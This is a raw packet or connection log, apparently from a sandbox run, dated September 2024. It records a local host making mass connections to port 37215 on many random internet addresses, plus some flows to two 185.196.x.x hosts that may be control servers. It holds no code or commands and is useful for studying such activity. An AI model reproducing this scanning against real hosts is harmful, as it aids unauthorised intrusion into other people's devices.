Sep 25, 2024 14:14:20.693943024 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:20.693943024 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:20.693944931 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:20.693955898 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:20.693957090 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:20.693958044 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:20.693959951 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:20.693959951 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:20.693960905 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:20.693964005 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:20.693968058 CEST	51060	37215	192.168.2.14	41.237.121.233
Sep 25, 2024 14:14:20.693979979 CEST	53936	37215	192.168.2.14	197.209.241.221
Sep 25, 2024 14:14:20.698951006 CEST	37215	38062	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:20.698993921 CEST	37215	58874	41.97.75.125	192.168.2.14
Sep 25, 2024 14:14:20.702141047 CEST	58874	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:20.702142954 CEST	38062	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:20.717852116 CEST	37215	49308	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:20.725874901 CEST	58734	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:20.725874901 CEST	43372	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:20.725878000 CEST	60422	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:20.725878000 CEST	57644	37215	192.168.2.14	156.79.121.29
Sep 25, 2024 14:14:20.725881100 CEST	39534	37215	192.168.2.14	197.165.164.248
Sep 25, 2024 14:14:20.725881100 CEST	33300	37215	192.168.2.14	156.197.220.184
Sep 25, 2024 14:14:20.725883961 CEST	55568	37215	192.168.2.14	41.116.201.16
Sep 25, 2024 14:14:20.725883961 CEST	44170	37215	192.168.2.14	156.58.216.35
Sep 25, 2024 14:14:20.725894928 CEST	49342	37215	192.168.2.14	197.13.34.105
Sep 25, 2024 14:14:20.725894928 CEST	55284	37215	192.168.2.14	41.71.47.143
Sep 25, 2024 14:14:20.725910902 CEST	38398	37215	192.168.2.14	197.198.99.197
Sep 25, 2024 14:14:20.725914001 CEST	48906	37215	192.168.2.14	41.50.188.249
Sep 25, 2024 14:14:20.725917101 CEST	49824	37215	192.168.2.14	197.108.17.77
Sep 25, 2024 14:14:20.725917101 CEST	54102	37215	192.168.2.14	41.16.222.49
Sep 25, 2024 14:14:20.725917101 CEST	34388	37215	192.168.2.14	156.209.234.79
Sep 25, 2024 14:14:20.725914001 CEST	50216	37215	192.168.2.14	197.159.159.94
Sep 25, 2024 14:14:20.725917101 CEST	43874	37215	192.168.2.14	156.151.243.104
Sep 25, 2024 14:14:20.725920916 CEST	37146	37215	192.168.2.14	156.150.52.76
Sep 25, 2024 14:14:20.725914001 CEST	53014	37215	192.168.2.14	197.208.168.19
Sep 25, 2024 14:14:20.725922108 CEST	41448	37215	192.168.2.14	197.20.123.61
Sep 25, 2024 14:14:20.725922108 CEST	53846	37215	192.168.2.14	197.13.5.180
Sep 25, 2024 14:14:20.725924015 CEST	52024	37215	192.168.2.14	156.53.121.87
Sep 25, 2024 14:14:20.725930929 CEST	39416	37215	192.168.2.14	197.98.159.82
Sep 25, 2024 14:14:20.725936890 CEST	42820	37215	192.168.2.14	197.168.100.169
Sep 25, 2024 14:14:20.725936890 CEST	48336	37215	192.168.2.14	41.117.142.107
Sep 25, 2024 14:14:20.725936890 CEST	51898	37215	192.168.2.14	156.225.159.53
Sep 25, 2024 14:14:20.725948095 CEST	59148	37215	192.168.2.14	197.44.120.177
Sep 25, 2024 14:14:20.730921984 CEST	37215	58734	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:20.730961084 CEST	37215	60422	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:20.730998993 CEST	37215	43372	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:20.731059074 CEST	58734	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:20.731059074 CEST	43372	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:20.738387108 CEST	60422	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:20.798198938 CEST	37812	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.798198938 CEST	37812	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.803189039 CEST	37215	37812	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:20.845930099 CEST	37215	37812	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:20.880153894 CEST	32827	54386	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:20.882194042 CEST	54386	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:20.882503033 CEST	37992	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.886251926 CEST	52562	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.886251926 CEST	52562	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.886985064 CEST	32827	54386	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:20.887276888 CEST	37215	37992	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:20.887351036 CEST	37992	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:20.888844013 CEST	52732	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.890955925 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:20.890957117 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:20.890957117 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:20.891012907 CEST	37215	52562	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:20.892685890 CEST	47612	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:20.894416094 CEST	37215	52732	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:20.894468069 CEST	52732	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:20.896151066 CEST	37215	39562	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:20.896200895 CEST	39562	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:20.896207094 CEST	37215	41532	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:20.896245956 CEST	41532	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:20.896363974 CEST	37215	41942	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:20.896394968 CEST	41942	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:20.897599936 CEST	37215	47612	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:20.897656918 CEST	47612	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:20.898606062 CEST	35278	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:20.902585030 CEST	45070	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:20.904180050 CEST	37215	35278	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:20.904217958 CEST	35278	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:20.907599926 CEST	37215	45070	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:20.907653093 CEST	45070	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:20.908473969 CEST	43152	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:20.913635969 CEST	37215	43152	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:20.913685083 CEST	43152	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:20.917191982 CEST	44494	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:20.918276072 CEST	57508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.920511961 CEST	58054	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:20.922008038 CEST	37215	44494	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:20.922068119 CEST	44494	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:20.923573017 CEST	25443	57508	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.923670053 CEST	57508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.926045895 CEST	39854	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:20.926428080 CEST	37215	58054	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:20.926587105 CEST	58054	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:20.928345919 CEST	57508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.928385973 CEST	57508	25443	192.168.2.14	185.196.8.7
Sep 25, 2024 14:14:20.930176973 CEST	54706	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:20.930846930 CEST	37215	39854	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:20.930908918 CEST	39854	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:20.932481050 CEST	37152	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:20.933677912 CEST	25443	57508	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.934915066 CEST	33718	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:20.935079098 CEST	37215	54706	197.101.92.66	192.168.2.14
Sep 25, 2024 14:14:20.935125113 CEST	54706	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:20.937494040 CEST	37215	37152	41.64.174.42	192.168.2.14
Sep 25, 2024 14:14:20.937773943 CEST	37215	52562	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:20.938083887 CEST	37152	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:20.940000057 CEST	37215	33718	197.32.39.39	192.168.2.14
Sep 25, 2024 14:14:20.940085888 CEST	33718	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:20.942697048 CEST	50252	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:20.949091911 CEST	37215	50252	156.15.188.124	192.168.2.14
Sep 25, 2024 14:14:20.949158907 CEST	50252	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:20.974339008 CEST	25443	57508	185.196.8.7	192.168.2.14
Sep 25, 2024 14:14:20.980986118 CEST	53486	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:20.980986118 CEST	53486	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:20.986047029 CEST	37215	53486	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:21.000819921 CEST	53702	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:21.005650997 CEST	37215	53702	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:21.005702972 CEST	53702	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:21.007322073 CEST	45068	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.007322073 CEST	45068	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.009654999 CEST	45284	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.012356997 CEST	37215	45068	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:21.016695976 CEST	37215	45284	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:21.016757011 CEST	45284	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.024492025 CEST	54688	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.024492025 CEST	54688	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.029387951 CEST	37215	54688	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:21.033906937 CEST	37215	53486	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:21.036231041 CEST	54904	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.041528940 CEST	37215	54904	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:21.041579962 CEST	54904	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.044002056 CEST	49488	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:21.044034004 CEST	37992	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:21.044039011 CEST	43224	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.044039011 CEST	43224	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.046890020 CEST	43436	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.048959970 CEST	37215	49488	156.95.71.36	192.168.2.14
Sep 25, 2024 14:14:21.049027920 CEST	49488	37215	192.168.2.14	156.95.71.36
Sep 25, 2024 14:14:21.049123049 CEST	37215	43224	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:21.049143076 CEST	37215	37992	41.33.96.88	192.168.2.14
Sep 25, 2024 14:14:21.049185991 CEST	37992	37215	192.168.2.14	41.33.96.88
Sep 25, 2024 14:14:21.050223112 CEST	39080	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.050223112 CEST	39080	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.051656961 CEST	37215	43436	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:21.051700115 CEST	43436	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.052654982 CEST	39292	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.053761005 CEST	37215	45068	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:21.055146933 CEST	37215	39080	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:21.055489063 CEST	39126	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.055489063 CEST	39126	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.057522058 CEST	37215	39292	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:21.057563066 CEST	39292	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.057917118 CEST	39338	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.060461044 CEST	37215	39126	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:21.060586929 CEST	38504	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.060586929 CEST	38504	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.062920094 CEST	37215	39338	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:21.062973022 CEST	39338	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.063510895 CEST	38716	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.065388918 CEST	37215	38504	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:21.066292048 CEST	35202	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.066292048 CEST	35202	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.068331003 CEST	37215	38716	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:21.068382025 CEST	38716	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.069013119 CEST	35414	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.069809914 CEST	37215	54688	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:21.071171045 CEST	37215	35202	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:21.072498083 CEST	38500	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.072498083 CEST	38500	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.072499037 CEST	52732	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:21.073801041 CEST	37215	35414	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:21.073842049 CEST	35414	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.075119972 CEST	38710	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.077294111 CEST	37215	38500	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:21.077425957 CEST	37215	52732	156.67.122.86	192.168.2.14
Sep 25, 2024 14:14:21.077474117 CEST	52732	37215	192.168.2.14	156.67.122.86
Sep 25, 2024 14:14:21.077725887 CEST	50922	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.077725887 CEST	50922	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.079422951 CEST	51132	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.080044985 CEST	37215	38710	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:21.080111027 CEST	38710	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.082469940 CEST	45652	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.082469940 CEST	45652	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.082479954 CEST	37215	50922	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:21.084166050 CEST	37215	51132	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:21.084204912 CEST	51132	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.084709883 CEST	45862	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.087318897 CEST	37215	45652	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:21.089248896 CEST	43372	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:21.089248896 CEST	58734	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:21.089425087 CEST	60422	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:21.089508057 CEST	37215	45862	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:21.089554071 CEST	45862	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.091943979 CEST	52244	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.093779087 CEST	37215	43224	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:21.094084978 CEST	37215	43372	197.239.142.210	192.168.2.14
Sep 25, 2024 14:14:21.094182968 CEST	43372	37215	192.168.2.14	197.239.142.210
Sep 25, 2024 14:14:21.094341040 CEST	37215	58734	156.13.62.231	192.168.2.14
Sep 25, 2024 14:14:21.094402075 CEST	58734	37215	192.168.2.14	156.13.62.231
Sep 25, 2024 14:14:21.094417095 CEST	37215	60422	41.12.75.142	192.168.2.14
Sep 25, 2024 14:14:21.094497919 CEST	60422	37215	192.168.2.14	41.12.75.142
Sep 25, 2024 14:14:21.095419884 CEST	38660	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.096712112 CEST	37215	52244	156.42.254.84	192.168.2.14
Sep 25, 2024 14:14:21.096765995 CEST	52244	37215	192.168.2.14	156.42.254.84
Sep 25, 2024 14:14:21.098546028 CEST	55290	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.100296021 CEST	37215	38660	156.80.89.118	192.168.2.14
Sep 25, 2024 14:14:21.100342989 CEST	38660	37215	192.168.2.14	156.80.89.118
Sep 25, 2024 14:14:21.100758076 CEST	54964	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.101775885 CEST	37215	39080	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:21.101794004 CEST	37215	39126	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:21.102610111 CEST	51900	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.103331089 CEST	37215	55290	156.58.104.192	192.168.2.14
Sep 25, 2024 14:14:21.103373051 CEST	55290	37215	192.168.2.14	156.58.104.192
Sep 25, 2024 14:14:21.104362011 CEST	44376	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.105353117 CEST	47612	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.105353117 CEST	47612	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.105653048 CEST	37215	54964	41.82.189.161	192.168.2.14
Sep 25, 2024 14:14:21.105684996 CEST	54964	37215	192.168.2.14	41.82.189.161
Sep 25, 2024 14:14:21.105770111 CEST	37215	38504	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:21.106040955 CEST	47670	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.106529951 CEST	35278	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.106529951 CEST	35278	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.106942892 CEST	35336	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.107534885 CEST	45070	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.107534885 CEST	45070	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.107765913 CEST	37215	51900	197.250.101.246	192.168.2.14
Sep 25, 2024 14:14:21.107830048 CEST	51900	37215	192.168.2.14	197.250.101.246
Sep 25, 2024 14:14:21.107917070 CEST	45128	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.108422041 CEST	53702	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:21.108429909 CEST	43152	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.108429909 CEST	43152	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.108978033 CEST	43210	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.109102964 CEST	37215	44376	197.242.74.227	192.168.2.14
Sep 25, 2024 14:14:21.109152079 CEST	44376	37215	192.168.2.14	197.242.74.227
Sep 25, 2024 14:14:21.109361887 CEST	39292	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.109364986 CEST	45284	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.109364986 CEST	43436	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.109364986 CEST	54904	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.109371901 CEST	38716	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.109380007 CEST	38710	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.109380007 CEST	35414	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.109402895 CEST	44494	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.109402895 CEST	44494	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.109414101 CEST	39338	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.109769106 CEST	44552	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.110181093 CEST	37215	47612	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:21.110295057 CEST	51132	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.110318899 CEST	45862	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.110318899 CEST	58054	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.110318899 CEST	58054	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.110709906 CEST	58110	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.110779047 CEST	37215	47670	197.88.23.116	192.168.2.14
Sep 25, 2024 14:14:21.110924006 CEST	47670	37215	192.168.2.14	197.88.23.116
Sep 25, 2024 14:14:21.111319065 CEST	37215	35278	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:21.111371994 CEST	39854	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.111371994 CEST	39854	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.111674070 CEST	37215	35336	197.78.221.181	192.168.2.14
Sep 25, 2024 14:14:21.111715078 CEST	35336	37215	192.168.2.14	197.78.221.181
Sep 25, 2024 14:14:21.111799955 CEST	39910	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.112318993 CEST	37215	45070	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:21.112503052 CEST	38062	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.112504005 CEST	38062	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.112700939 CEST	37215	45128	197.45.37.80	192.168.2.14
Sep 25, 2024 14:14:21.112765074 CEST	45128	37215	192.168.2.14	197.45.37.80
Sep 25, 2024 14:14:21.112860918 CEST	38210	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.113257885 CEST	37215	53702	41.6.71.108	192.168.2.14
Sep 25, 2024 14:14:21.113300085 CEST	53702	37215	192.168.2.14	41.6.71.108
Sep 25, 2024 14:14:21.113404989 CEST	37215	43152	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:21.113626003 CEST	58874	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:21.113626003 CEST	58874	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:21.113794088 CEST	37215	35202	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:21.113809109 CEST	37215	43210	156.210.180.184	192.168.2.14
Sep 25, 2024 14:14:21.113861084 CEST	43210	37215	192.168.2.14	156.210.180.184
Sep 25, 2024 14:14:21.114129066 CEST	37215	39292	41.64.17.0	192.168.2.14
Sep 25, 2024 14:14:21.114232063 CEST	39292	37215	192.168.2.14	41.64.17.0
Sep 25, 2024 14:14:21.114263058 CEST	37215	45284	156.127.3.148	192.168.2.14
Sep 25, 2024 14:14:21.114278078 CEST	37215	43436	197.225.126.86	192.168.2.14
Sep 25, 2024 14:14:21.114295959 CEST	45284	37215	192.168.2.14	156.127.3.148
Sep 25, 2024 14:14:21.114319086 CEST	43436	37215	192.168.2.14	197.225.126.86
Sep 25, 2024 14:14:21.114329100 CEST	59020	37215	192.168.2.14	41.97.75.125
Sep 25, 2024 14:14:21.114398956 CEST	37215	44494	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:21.114478111 CEST	37215	54904	197.190.148.163	192.168.2.14
Sep 25, 2024 14:14:21.114487886 CEST	37215	38716	156.241.212.158	192.168.2.14
Sep 25, 2024 14:14:21.114499092 CEST	37215	38710	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:21.114507914 CEST	37215	35414	156.109.98.95	192.168.2.14
Sep 25, 2024 14:14:21.114516020 CEST	54904	37215	192.168.2.14	197.190.148.163
Sep 25, 2024 14:14:21.114523888 CEST	38716	37215	192.168.2.14	156.241.212.158
Sep 25, 2024 14:14:21.114526987 CEST	38710	37215	192.168.2.14	156.15.122.126
Sep 25, 2024 14:14:21.114537954 CEST	35414	37215	192.168.2.14	156.109.98.95
Sep 25, 2024 14:14:21.114674091 CEST	37215	39338	197.92.172.196	192.168.2.14
Sep 25, 2024 14:14:21.114696026 CEST	37215	44552	156.59.247.173	192.168.2.14
Sep 25, 2024 14:14:21.114734888 CEST	39338	37215	192.168.2.14	197.92.172.196
Sep 25, 2024 14:14:21.114758015 CEST	44552	37215	192.168.2.14	156.59.247.173
Sep 25, 2024 14:14:21.115109921 CEST	37215	51132	41.155.154.161	192.168.2.14
Sep 25, 2024 14:14:21.115148067 CEST	51132	37215	192.168.2.14	41.155.154.161
Sep 25, 2024 14:14:21.115256071 CEST	37215	58054	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:21.115266085 CEST	37215	45862	197.11.206.26	192.168.2.14
Sep 25, 2024 14:14:21.115276098 CEST	54706	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:21.115276098 CEST	54706	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:21.115305901 CEST	45862	37215	192.168.2.14	197.11.206.26
Sep 25, 2024 14:14:21.115505934 CEST	37215	58110	156.62.172.152	192.168.2.14
Sep 25, 2024 14:14:21.115551949 CEST	58110	37215	192.168.2.14	156.62.172.152
Sep 25, 2024 14:14:21.116158009 CEST	37215	39854	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:21.116254091 CEST	54766	37215	192.168.2.14	197.101.92.66
Sep 25, 2024 14:14:21.116679907 CEST	37215	39910	156.231.117.91	192.168.2.14
Sep 25, 2024 14:14:21.116722107 CEST	39910	37215	192.168.2.14	156.231.117.91
Sep 25, 2024 14:14:21.117146969 CEST	37152	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:21.117146969 CEST	37152	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:21.117278099 CEST	37215	38062	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:21.117727041 CEST	37215	38210	197.154.112.146	192.168.2.14
Sep 25, 2024 14:14:21.117778063 CEST	37215	38500	156.15.122.126	192.168.2.14
Sep 25, 2024 14:14:21.117785931 CEST	38210	37215	192.168.2.14	197.154.112.146
Sep 25, 2024 14:14:21.118537903 CEST	37212	37215	192.168.2.14	41.64.174.42
Sep 25, 2024 14:14:21.118813038 CEST	37215	58874	41.97.75.125	192.168.2.14
Sep 25, 2024 14:14:21.119314909 CEST	33718	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:21.119314909 CEST	33718	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:21.120238066 CEST	37215	54706	197.101.92.66	192.168.2.14
Sep 25, 2024 14:14:21.120321989 CEST	33778	37215	192.168.2.14	197.32.39.39
Sep 25, 2024 14:14:21.121582985 CEST	50252	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:21.121582985 CEST	50252	37215	192.168.2.14	156.15.188.124
Sep 25, 2024 14:14:21.121942043 CEST	37215	37152	41.64.174.42	192.168.2.14
Sep 25, 2024 14:14:21.123004913 CEST	50312	37215	192.168.2.14	156.15.188.124
